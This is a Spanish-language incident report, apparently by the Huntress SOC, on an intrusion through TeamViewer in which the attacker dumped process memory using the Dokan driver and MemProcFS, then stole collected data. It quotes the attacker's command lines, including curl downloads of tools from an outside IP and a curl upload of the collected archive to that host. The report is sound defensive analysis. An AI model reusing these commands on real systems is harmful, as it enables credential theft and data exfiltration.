El agente de Huntress se agregó recientemente al entorno de un nuevo cliente debido a una actividad sospechosa de la que se había dado cuenta, y poco después, los analistas del Huntress SOC alertaron al cliente sobre más actividad maliciosa dentro de su infraestructura. Al investigar más allá de las alertas iniciales, el equipo de Huntress identificó un conjunto novedoso e interesante de tácticas, técnicas y procedimientos (TTPs) empleados por el actor de amenazas. Las alertas se activaron tres días después de instalarse el agente de Huntress.
Acceso inicial
Si bien el endpoint en cuestión aparentemente presentaba problemas antes de que se instalara el agente de Huntress, no estaba claro que la actividad previa estuviera relacionada con la actividad que generó la alerta una vez instalado el agente. Al investigar las alertas con más profundidad, los analistas de Huntress descubrieron que, aproximadamente 11 horas antes de instalarse el agente de Huntress, hubo una conexión inusual a TeamViewer; el archivo connections_incoming.txt de TeamViewer contenía una entrada que decía:
Support 01-12-2023 08:24:10 01-12-2023 08:24:28 <unknown> RemoteControl {<GUID>}
Esta entrada en particular llamó la atención por el campo <unknown>, ya que todas las entradas anteriores contenían nombres de cuenta válidos específicos del entorno. Además, según la línea de tiempo de eventos creada para esta investigación, el marco temporal de este acceso de TeamViewer correspondía a eventos del registro de LocalSessionManager asociados con el inicio de sesión mediante una cuenta de administrador conocida. La actividad asociada indicó que este acceso estaba directamente relacionado con la actividad posterior. Por último, la conexión fue extremadamente breve (aproximadamente 18 segundos), mucho más corta que las conexiones circundantes.
Descarga de archivos/infiltración
Tres días después de instalarse el agente de Huntress, las detecciones existentes activaron alertas basadas en una descarga de archivo que ocurrió mediante curl.exe:
curl -v -o Dokan_x64.msi.zip http://193.149.176.90/Dokan_x64.msi.zip
Diecinueve segundos después, los analistas de Huntress observaron comandos posteriores para descargar MemProcFS, y luego, 48 segundos después de la descarga del archivo MSI de Dokan, para instalar el controlador del sistema de archivos Dokan:
curl -v -o MemProcFS.zip http://193.149.176.90/MemProcFS.zip
"C:\Windows\System32\msiexec.exe" /i "C:\Users\Public\Dokan_x64.msi\Dokan_x64.msi"
Posible extracción de credenciales
Después del comando msiexec.exe, los registros de eventos de Windows mostraron la instalación exitosa del controlador del sistema de archivos Dokan, así como el uso del controlador para crear el punto de montaje \DosDevices\M:. Aproximadamente 10 segundos después, se ejecutó un script de PowerShell que agregó el archivo M:\pid\1508\minidump\minidump.dmp a un archivo comprimido.
Con base en la ruta del archivo minidump, los analistas de Huntress intentaron determinar qué proceso pudo haber tenido el ID de proceso (pid) 1508. Sin embargo, el proceso curl.exe que generó la alerta inicial se originó más de dos días y medio después del último reinicio del sistema, lo cual quedaba fuera de la ventana de retención de datos. Por esta razón, los analistas no pudieron identificar específicamente qué proceso o procesos pudieron haber tenido su memoria volcada.
Con base en una combinación de datos de registro y telemetría de EDR, los analistas de Huntress observaron que el actor de amenazas cerró sesión en el sistema y volvió a iniciar sesión mediante Terminal Services/RDP, usando una segunda cuenta que claramente estaba comprometida (es decir, sin intentos fallidos de inicio de sesión). Luego, aproximadamente media hora después de agregarse el archivo minidump al archivo comprimido, el controlador del sistema de archivos Dokan se eliminó mediante el siguiente comando, ejecutado a través de la segunda cuenta:
"C:\Program Files\Dokan\DokanLibrary-2.0.6\dokanctl.exe" /r n
El controlador de sistema de archivos Dokan escribe eventos en el Event Log de Windows con el origen de evento “dokan2” y el ID de evento “1”, de modo que el uso del controlador quedó bien documentado y persistió incluso después de eliminar el controlador del endpoint. El uso del controlador de sistema de archivos para crear el punto de montaje, y luego eliminarlo, abarcó 7 minutos y 4 segundos.
Exfiltración de datos en el mundo real
Poco después de eliminar el controlador de sistema de archivos Dokan, se ejecutó otro script de PowerShell llamado “bk11.ps1”, que realizó recolección de datos del endpoint (archivos, configuración del navegador, historial, etc.), y 26 minutos después se observó el siguiente comando de exfiltración de datos:
curl -v -T out.zip http://193.149.176.90/out.zip
El tiempo transcurrido entre el comando curl.exe que generó la alerta inicial y el de exfiltración de datos fue de poco menos de una hora y 15 minutos.
No es inusual ver el uso de aplicaciones nativas de Windows, denominadas “LOLBins” o “LOLBas”, para actividades como descargas de archivos y exfiltración de datos. De hecho, no hace mucho los analistas de Huntress observaron el uso de finger.exe para exfiltración de datos.
Conclusión
Los analistas de Huntress no pudieron determinar cómo el actor de amenazas logró obtener credenciales de cuentas válidas conocidas, ya que es probable que el acceso a credenciales haya ocurrido en uno o más endpoints dentro del entorno antes de instalar el agente de Huntress. Esto se ve reforzado por la preparación demostrada por el actor de amenazas (al tener archivos de instalación preparados en un solo lugar) y la velocidad con la que llevó a cabo la recolección y exfiltración de datos.
Durante el tiempo en que interactuó activamente con el endpoint, el actor de amenazas también hizo ping a varios otros endpoints dentro del entorno de forma directa; es decir, no ejecutó un “barrido de ping” buscando otros endpoints, sino que hizo ping a varios endpoints especificando los nombres de sistema, información que claramente ya poseía. El actor de amenazas intentó minimizar su huella al depender en gran medida de herramientas y utilidades nativas, y al usar herramientas basadas en GUI en lugar de líneas de comando ampliamente conocidas o previamente observadas.
Mapeo de MITRE ATT&CK
- Descarga de archivos - T1105 Ingress Tool Transfer
- Ejecución - T1059.001 PowerShell, T1059.003 Windows Command Shell
- Persistencia - T1078 Valid Accounts
- Acceso a credenciales (posible) - T1003.001 LSASS Memory
- Recolección - T1560 Archive Collected Data
- Exfiltración de datos - T1048.003 Exfiltration over Unencrypted Non-C2 Protocol